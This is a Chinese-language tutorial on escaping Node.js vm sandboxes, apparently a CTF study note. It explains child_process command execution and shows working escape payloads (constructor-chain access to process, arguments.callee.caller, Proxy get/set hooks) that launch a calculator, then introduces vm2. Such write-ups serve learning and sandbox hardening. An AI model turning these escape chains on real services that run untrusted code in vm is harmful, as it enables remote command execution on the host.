沙箱逃逸的概念

  • 沙箱(sandbox)就是创建一个单独的运行代码的环境,和主机进行隔离,这样代码产生的危害就不会影响到主机,沙箱的工作机制主要是依靠重定向,将恶意代码的执行目标重定向到沙箱内部。
  • 沙箱(sandbox)和 虚拟机(VM)和 容器(Docker)之间的区别:sandbox和VM使用的都是虚拟化技术,但二者间使用的目的不一样。沙箱用来隔离有害程序,而虚拟机则实现了我们在一台电脑上使用多个操作系统的功能。Docker属于sandbox的一种,通过创造一个有边界的运行环境将程序放在里面,使程序被边界困住,从而使程序与程序,程序与主机之间相互隔离开。在实际防护时,使用Docker和sandbox嵌套的方式更多一点,安全性也更高。
  • Nodejs中,通过vm模块来创建一个沙箱,但vm模块的漏洞较大,后续就出现了升级版的vm2,对vm做了优化,但是在旧版本仍然存在一些漏洞。

那么沙箱逃逸就是字面意思,逃离该沙箱环境对主机进行影响,比如rce等。

Nodejs命令执行

要进行rce就要先了解一下Nodejs的执行命令的一些模块和函数。

参考文章:https://www.w3cschool.cn/nwfchn/omcvtozt.html

  • eval():这个函数跟php的效果一样,也是直接将字符串当作代码执行。

    eval('console.log("hello")');
  • child_process模块:该模块就是nodejs用来执行命令的模块

    • exec():该方法用来执行bash命令

      var exec=require('child_process').exec;
      var whoami=exec('whoami',function(error, stdout, stderr){
      if(error){
      console.log(error.stack);
      console.log('Error code: '+error.code);
      }
      console.log('Child Process STDOUT: '+stdout);
      });
      eval('console.log("hello")');

      image-20240309144449923

      exec方法的第一个参数是所要执行的shell命令,第二个参数是回调函数,该函数接受三个参数,分别是发生的错误、标准输出的显示结果、标准错误的显示结果。

    • execFile():该方法直接执行特定的程序,参数作为数组传入,不会被bash解释,因此具有较高的安全性。

      var execFile=require('child_process').execFile;
      execFile('/bin/ls',['-l','.'],function(error,result){
      console.log(result);
      })
    • spawn():spawn方法创建一个子进程来执行特定命令,用法与execFile方法类似,但是没有回调函数,只能通过监听事件,来获取运行结果。它属于异步执行,适用于子进程长时间运行的情况。

      var spawn=require('child_process').spawn;
      var who=spawn('whoami');
      who.stdout.on('data',function(data){
      console.log('stdout: '+data);
      });
      who.stderr.on('data',function(data){
      console.log('stderr: '+data)
      });
      who.on('close',function(code){
      console.log('closing code: '+code);
      });

      image-20240309145912479

      spawn方法接受两个参数,第一个是可执行文件,第二个是参数数组。

      spawn对象返回一个对象,代表子进程。该对象部署了EventEmitter接口,它的data事件可以监听,从而得到子进程的输出结果。

      spawn方法与exec方法非常类似,只是使用格式略有区别。

      child_process.exec(command, [options], callback)
      child_process.spawn(command, [args], [options])
    • fork():fork方法直接创建一个子进程,执行Node脚本,fork('./child.js') 相当于 spawn('node', ['./child.js']) 。与spawn方法不同的是,fork会在父进程与子进程之间,建立一个通信管道,用于进程之间的通信。

      var n = child_process.fork('./child.js');
      n.on('message', function(m) {
      console.log('PARENT got message:', m);
      });
      n.send({ hello: 'world' });

      上面代码中,fork方法返回一个代表进程间通信管道的对象,对该对象可以监听message事件,用来获取子进程返回的信息,也可以向子进程发送信息。

      child.js脚本的内容如下。

      process.on('message', function(m) {
      console.log('CHILD got message:', m);
      });
      process.send({ foo: 'bar' });

      上面代码中,子进程监听message事件,并向父进程发送信息。

    • send():使用 child_process.fork() 生成新进程之后,就可以用 child.send(message, [sendHandle]) 向新进程发送消息。新进程中通过监听message事件,来获取消息。也就是上面fork示例的代码。

vm沙箱逃逸

参考文章:NodeJs vm沙箱逃逸 - 先知社区 (aliyun.com)

vm模块的使用

  • vm.createContext([contextObject[, options]])

该模块在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8引擎为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

image-20240309153446420

  • **vm.runInContext(code, contextifiedSandbox[, options])**:该函数参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

    runInContext需要配合createContext创建的沙箱来进行运行

  • 所以这两个模块方法配合起来使用如下:

    const vm=require('vm');
    global.globalVar=5;
    const sandbox={globalVar:10};
    vm.createContext(sandbox);
    vm.runInContext('globalVar*=2;console.log(globalVar);',sandbox);
    console.log(globalVar);

    image-20240309154253819

  • vm.runInThisContext(code[, options])

在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。

这里需要注意的就是runInThisContext虽然是会创建相关的沙箱环境,可以访问到global上的全局变量,但是访问不到自定义的变量。

image-20240309154545749

const vm=require('vm');
global.globalVar=5;
var Var=123;
vm.runInThisContext('console.log(globalVar);');
vm.runInThisContext('console.log(Var);');

image-20240309154838701

可知可以访问全局变量,但自定义的不能访问,会报错。

const vm = require('vm');
let localVar = 'initial value';
const vmResult = vm.runInThisContext('localVar = "vm";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'vm', localVar: 'initial value'
  • vm.runInNewContext(code[, contextObject[, options]])

creatContext和runInContext的结合版,传入要执行的代码和沙箱对象,不提供的话默认生成一个沙箱来进行使用。

提一嘴Nodejs中数据类型可以分为两大类:基本类型和对象类型

基本类型包括以下六种:

  • string:表示文本数据,用单引号或双引号包裹,如 ‘hello’ 或 “world”。
  • number:表示数值数据,可以是整数或小数,如 42 或 3.14。
  • boolean:表示逻辑数据,只有两个值,true 或 false。
  • null:表示空值,表示一个对象没有引用任何值。
  • undefined:表示未定义值,表示一个变量没有被赋值。
  • symbol:表示唯一的标识符,用 Symbol() 函数创建,如 Symbol(‘foo’)。

那么除了这些基本类型的就是对象类型了。

  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,指的是 code 中的变量、函数、对象等,不会自动成为全局作用域中的属性或成员。相反,它仅仅绑定于每次执行它的对象。

    const vm = require("vm");
    //script=new vm.Script('this.toString.constructor("return process")().mainModule.require("child_process").execSync("calc");')
    script=new vm.Script('name="clown"');
    const sandbox = {name:"test"};
    const context=vm.createContext(sandbox);
    script.runInContext(context);
    console.log(sandbox);//{ name: 'clown' }

利用沙箱来执行命令

这里写一下不同沙箱执行命令的写法

  • runInThisContext

    const vm=require('vm');
    vm.runInThisContext(`process.mainModule.require('child_process').exec('calc')`);

    然后就能弹计算器了

    这里了解一下为什么要这么写

    • process:

      process 对象是 Node.js 提供的一个全局变量,它包含了有关当前 Node.js 进程的信息和控制方法。

      process 对象可以直接使用,而不需要通过 require() 引入,是因为它是一个预定义的全局对象,类似于 console、global、Buffer 等。

      process 对象有很多有用的属性和方法,例如:

      • process.env:可以获取或设置环境变量,如 process.env.NODE_ENV。

      • process.argv:可以获取命令行参数,如 process.argv[0]。

      • process.cwd():可以获取当前工作目录,如 process.cwd()。

      • process.exit():可以退出当前进程,如 process.exit(0)。

      • process.mainModule: 是 Node.js 提供的一个全局变量,它是一个对象,表示当前主模块的 Module 实例,主模块就是node执行的js。

        它可以让你获取当前主模块的一些信息,例如它的文件名、路径、子模块等,比如process.mainModule.require。

    • 因为沙箱中没有 require() 函数,这是 Node.js 的一个全局函数,用于加载模块,但它不是 global 对象上的一个属性,而是在每个模块的本地作用域中定义的。从上面的作用域可以知道,require就是在node执行的js内定义的函数,而沙箱内部就是另一个独立的模块,所以是没有require函数的,需要从process.mainModule中获取。

  • vm.runInContext(code, contextifiedSandbox[, options])

    const vm=require('vm');
    const sandbox={x:2};
    vm.createContext(sandbox);
    const code='this.toString.constructor("return process")();';
    //vm.runInNewContext(`this.constructor.constructor('return process')()`);这样获取process对象也是可以的
    const res=vm.runInContext(code,sandbox);
    res.mainModule.require('child_process').exec('calc');

    因为该方法的作用域是独立于global的,所以我们需要先获取global的process对象,然后就可以执行命令了。

    解释一下是怎么获取process对象的:

    在沙箱中this指向全局环境中的{x:2}对象,这里通过调试可以看到

    image-20240310094536377

    这个对象是不属于沙箱环境的,它属于全局环境,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的()是调用这个用Function的constructor生成的函数,最终返回了一个process对象。

    这是一个构造器链的图例:

    image-20240309170145802

    所以上面的toString和constructor都是Object.prototype上的属性,所以这两种写法都可以。

    构造器链的尽头是Function,Function的构造器是Function本身,所以利用原型链调用Function的构造函数之后就能获得process对象。

    所以只要是this是外部的引用都是可以来进行逃逸的,所以下面这样写也是可以的

    const vm = require("vm");

    const sandbox = {
    x: []
    };

    vm.createContext(sandbox);

    const res = vm.runInNewContext('x.constructor.constructor("return process")()',sandbox);

    console.log(res.mainModule.require('child_process').exec('calc'));

    但是如果x是是数字、字符串等primitive类型就无法逃逸出来,因为他们在传参的时候将数值传递过去,而不是引用属性,无法进一步调用constructor

  • runInNewContext

    const vm = require("vm");

    const code = 'this.constructor.constructor("return process")();';

    const res=vm.runInNewContext(code);

    console.log(res.mainModule.require("child_process").exec('calc'));

    原理和上面的runInContext一样。

  • new vm.Script(code, options)

    const vm = require("vm");
    script=new vm.Script('this.toString.constructor("return process")().mainModule.require("child_process").execSync("calc");')
    const sandbox = {x:[]};
    const context=vm.createContext(sandbox);
    script.runInContext(context);

    这里同理。

vm绕过Object.create(null)

当我们的sandbox沙箱对象设置为null时,就无法通过this.construtor来获取Function的构造函数

const vm = require("vm");

const sandbox = Object.create(null);

vm.createContext(sandbox);

const code = "this.constructor.constructor('return process')().env";
console.log(vm.runInContext(code,sandbox));

上面的函数就会报如下错误

image-20240309183122332

绕过一种方法就是利用arguments.callee.caller

这里了解一下arguments是什么

arguments 是一个类数组对象,它包含了传递给当前函数的所有参数。

arguments.callee 是 arguments 对象的一个属性,它表示当前正在执行的函数本身。

arguments.callee.caller 是 arguments.callee 对象的一个属性,它表示调用当前正在执行的函数的那个函数,也就是调用当前函数的外部函数。
function foo(){
console.log(arguments);
console.log(arguments.callee);
console.log(arguments.callee.caller);
}
function bar(){
foo();
}
function baz(){
bar();
}
foo();
bar();
baz();

image-20240309183741062

那思路就是在沙箱内定义一个函数,在沙箱外调用这个函数,那么这个函数的arguments.callee.caller则会返回沙箱外的一个对象,那么我们我们就可以在沙箱内进行逃逸了

那么下面的写法就可以进行绕过:

const vm = require('vm');
const func =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').exec('calc').toString()
}
return a
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
console.log("" + res);

说一下大概流程:

这里在沙箱内定义了一个函数将toString()进行了重写,我们在vm.runInContext(func, context)这里执行了该函数重写toString后返回了沙箱内的a对象,然后console.log的时候默认执行了toString()方法,这个时候cc获得的就是外部执行对象,然后我们就成功进行了逃逸。

这里也可以自己去调试一下会更加清晰。

如果无法重写或触发toString()方法,还可以利用Proxy来劫持属性

这里了解一下Proxy:

Proxy 对象是 JavaScript 提供的一个内置对象,它可以用来创建一个代理,用于拦截和修改目标对象的一些基本操作,例如属性的读取、赋值、删除、枚举、函数的调用等

Proxy 对象的用法是:

创建一个 Proxy 对象,需要使用 new Proxy(target, handler) 构造函数,传入两个参数,分别是目标对象和处理器对象。
目标对象是要被代理的对象,可以是任何类型的对象,例如数组、函数、另一个代理等。
处理器对象是一个普通的对象,它定义了一些拦截函数(也称为陷阱),用于拦截和修改目标对象的基本操作。

这是一个例子:

//get
let numbers=[1,2,3]
numbers=new Proxy(numbers,{
get(target, prop) {
if (prop in target) {
return target[prop];
} else {
return 0; // 默认值
}
}
});
console.log(numbers[1]);
console.log(numbers[123]);

//set
let numbers1 = [];

numbers1 = new Proxy(numbers1, { // (*)
set(target, prop, val) { // 拦截写入操作
if (typeof(val) == 'number') {
target[prop] = val;
return true;
} else {
return false;
}
}
});

tmp=numbers1.push('ceshi');
console.log(typeof(tmp));
tmp1=numbers1.push(2);
console.log(typeof(tmp1));

下面是利用get钩子和set钩子来进行逃逸的例子

//利用get钩子逃逸
const vm = require("vm");

const script =
`new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').exec('calc');
}
})
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

这里的原理就是在沙箱外部访问了代理对象的任意属性,即使属性不存在也会自动调用钩子函数,这样就和上面一样得到了外部对象然后进行命令执行

//利用set钩子
const vm = require("vm");
const func =
`new Proxy({}, {
set: function(my,key, value) {
(value.constructor.constructor('return process'))().mainModule.require('child_process').execSync('calc').toString()
}
})`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(func, context);
res['']={};

这里的原理就是为代理对象添加属性时会自动调用set钩子,那么就达到了获取外部对象的目的,然后成功命令执行

上面的过程也可以去调试一下代码会更加清晰运行过程。

vm2沙箱逃逸

参考文章:NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)

vm2的具体实现原理参考这篇文章:vm2实现原理分析-安全客 - 安全资讯平台 (anquanke.com)

vm2在vm的基础上进行了优化,比较重要的就是利用了Proxy代理,使用钩子拦截constructor和__ proto __这些属性的访问。

网上看好像vm2的代码在3.9版本之后大幅修改,结构变成下面这样

image-20240310022305060

和上面的文章文件结构都不一样,不过使用的方法没有变化。

我们用到的vm2的沙箱环境是通过main.js导出的VM和NodeVM,还有一个VMScript是封装了vm.Script

image-20240310100756542

vm2执行代码示例如下:

//vm2
const{VM,VMScript}=require("vm2");//解构赋值,从中提取vm2的VM和VMScript
const script = new VMScript("let a = 2;a");
console.log((new VM()).run(script));//2

VM 是vm2在vm的基础上封装的一个虚拟机,我们只需要实例化之后调用 run 方法即可运行一段脚本。

上述代码的具体运行原理我就贴个图,具体的要去看文章,因为代码结构变了在新的vm2中

image-20240310101817366

还有一篇文章分析了两个案例:vm2沙箱逃逸分析-安全客 - 安全资讯平台 (anquanke.com)

题目分析

这里找几道题分析吧,vm2原理看得头大。

[HFCTF2020]JustEscape

这题在buu上面有